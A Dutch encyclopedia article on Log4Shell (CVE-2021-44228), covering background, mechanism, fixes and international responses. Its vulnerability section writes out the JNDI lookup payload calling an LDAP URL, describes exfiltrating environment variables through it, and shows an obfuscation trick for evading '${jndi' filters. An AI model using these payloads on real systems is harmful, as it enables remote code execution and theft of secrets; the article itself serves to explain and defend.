Log4Shell

beveiligingslek in Log4j, ontdekt in 2021

Log4Shell is een kwetsbaarheid in de loggingsoftware Log4j. Met deze kwetsbaarheid kan een aanvaller code uitvoeren op een server of andere computer alleen door ervoor te zorgen dat een stuk tekst gelogd wordt. De kwetsbaarheid werd door het beveiligingsteam van Alibaba Cloud op 24 november 2021 privé gerapporteerd aan Apache, dat eigenaar is van Log4j, en het werd op 9 december 2021 gepubliceerd.[1] Doordat Log4j veel gebruikt wordt in software, zijn duizenden bedrijven kwetsbaar geweest, waaronder Apple, Tesla en ook de Java-editie van het spel Minecraft.[2]

De kwetsbaarheid maakt gebruik van de message lookup substitution-functie in Log4j, waarmee LDAP-verzoeken over het internet kunnen worden verstuurd om Javacode te downloaden en uit te voeren. Het is officieel geïdentificeerd als CVE-2021-44228 in de databank van Common Vulnerabilities and Exposures. Log4Shell is een van de meest ernstige kwetsbaarheden ooit genoemd, en wordt vergeleken met Heartbleed en Shellshock.[3] De Apache Software Foundation gaf Log4Shell het hoogst mogelijke cijfer, een 10, op het Common Vulnerability Scoring System (CVSS).[4]

Achtergrond bewerken

Log4j is opensourcesoftware die deel is van de Apache Logging Services, een project van de Apache Software Foundation. Met deze software kunnen softwareontwikkelaars in de programmeertaal Java verschillende data in hun applicatie loggen, bijvoorbeeld foutmeldingen. Deze logs kunnen ook gebruikersinvoer bevatten.[5] Log4j wordt alomtegenwoordig gebruikt.[6]

Sinds 2013 kan men met Log4j data ophalen met behulp van het Java Naming and Directory Interface (JNDI), in de vorm van een Java-object.[7] JNDI kan gebruikmaken van verschillende zogeheten directory-interfaces, die elk een ander schema bieden voor het opzoeken van bestanden met die data. Een van deze interfaces is het Lightweight Directory Access Protocol (LDAP), dat de objectgegevens van een URL ophaalt van een geschikte server. Zo'n server kan lokaal of waar dan ook op internet staan.[8]

Kwetsbaarheid bewerken

In de standaardconfiguratie voert Log4j 2 bij het loggen van een tekenreeks eerst tekenreeksvervanging uit op uitdrukkingen van de vorm ${prefix:name}. Bijvoorbeeld, Tekst: ${java:version} kan worden geconverteerd naar Tekst: Java version 1.7.0_67.[9] Een van de herkende uitdrukkingen is ${jndi:<lookup>}; door het opzoeken via LDAP te specificeren, kan een willekeurige URL worden opgevraagd en geladen als Java-objectgegevens. ${jndi:ldap://example.com/file}, bijvoorbeeld, laadt gegevens van die URL als er verbinding is met internet. Door een stuk tekst in te voeren die gelogd wordt, kan een aanvaller kwaadaardige code die wordt gehost op een openbare URL laden en uitvoeren.[8] Zelfs als de uitvoering van de gedownloade code is uitgeschakeld, kan een aanvaller nog steeds gegevens ophalen, zoals geheime omgevingsvariabelen, door ze in de URL te plaatsen, waarin ze worden vervangen en naar de server van de aanvaller worden verzonden.[10][11]

Omdat HTTP-verzoeken vaak worden gelogd, is een veelvoorkomende aanvalsvector het plaatsen van kwaadaardige teksten in de URL van een HTTP-verzoek, of in een vaak geregistreerde HTTP-header zoals User-Agent. Vroege maatregelen tegen Log4Shell waren onder meer het blokkeren van verzoeken die mogelijk schadelijke inhoud bevatten, zoals "${jndi". Naïeve zoektechnieken kunnen worden omzeild door het verzoek te verdoezelen: ${${lower:J}ndi, bijvoorbeeld, wordt omgezet in een JNDI-zoekopdracht nadat de J in een kleine letter is omgezet.[12] Zelfs als een invoer niet onmiddellijk wordt gelogd, zoals een voornaam, kan deze later tijdens de interne verwerking worden gelogd en de inhoud ervan worden uitgevoerd.[8]

Maatregelen bewerken

Een versie van Log4j waarin de kwetsbaarheid is opgelost, versie 2.15.0, werd op 6 december 2021 uitgebracht.[13] De oplossing bestond uit het beperken van de servers en protocollen die kunnen worden gebruikt voor JNDI-zoekopdrachten, wat kon worden geconfigureerd met behulp van verschillende systeemeigenschappen. Dit verving de systeemeigenschap log4j2.formatMsgNoLookups, die wordt aanbevolen om de kwetsbaarheid in eerdere versies sinds 2.10.0 te verminderen door deze in te stellen op true. Voor versies vóór 2.10.0 moet de Javaklasse org.apache.logging.log4j.core.lookup.JndiLookup uit het klassenpad worden verwijderd.[4][14]

Vanaf versie 2.16.0 zijn alle functies in Log4j die JNDI gebruiken, standaard uitgeschakeld.[15]

Nieuwere versies van de Java Runtime Environment (JRE) verkleinen dit beveiligingslek ook door te voorkomen dat externe code standaard wordt geladen, hoewel er in bepaalde toepassingen nog steeds andere aanvalsvectoren bestaan.[10] Er zijn verschillende methoden en tools gepubliceerd om het gebruik van kwetsbare log4j-versies in ingebouwde Java-pakketten te helpen detecteren.[16]

Reacties en impact bewerken

Het Nederlandse Nationaal Cyber Security Centrum (NCSC) heeft bedrijven opgeroepen zo snel mogelijk updates te installeren, en heeft gewaarschuwd voor potentieel grote schade.[17] Ook heeft het NCSC een incomplete lijst gepubliceerd met meer dan duizend getroffen software.[18][19] Onder andere Apache, Apple, Amazon, Atlassian, Cloudflare, ElasticSearch, IBM, Red Hat, Steam, Tesla, Twitter en VMware zijn kwetsbaar geweest.[5][3]

Ook nationale agentschappen van andere landen riepen op tot directe actie. In de Verenigde Staten noemde de directeur van het Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, de kwetsbaarheid "kritiek",[20] en ook het Duitse Federaal Bureau voor Veiligheid in Informatietechnologie (BSI) noemde het een "extreem kritieke dreigingssituatie". Volgens het BSI zijn er ook wereldwijd aanvalspogingen gedaan, waarvan sommige succesvol, maar was de omvang van de bedreiging nog niet vast te stellen.[21]

Volgens de CEO van Cloudflare, Matthew Prince, gingen aanwijzingen van expoitatie van Log4Shell terug tot 1 december, negen dagen voor de openbaring van de kwetsbaarheid.[22] Volgens cyberbeveiligingsbedrijf GreyNoise wordt er vanaf verschillende IP-adressen opportunistisch het internet gescand om de kwetsbaarheid te testen of misbruiken.[23]

Cloudfare heeft gewaarschuwd dat Log4Shell niet alleen voor online systemen een bedreiging vormt. QR-codescanners of contactloze deursloten zouden bijvoorbeeld ook kunnen worden aangevallen, als er van Java en Log4j gebruik gemaakt wordt.[21]

Externe links bewerken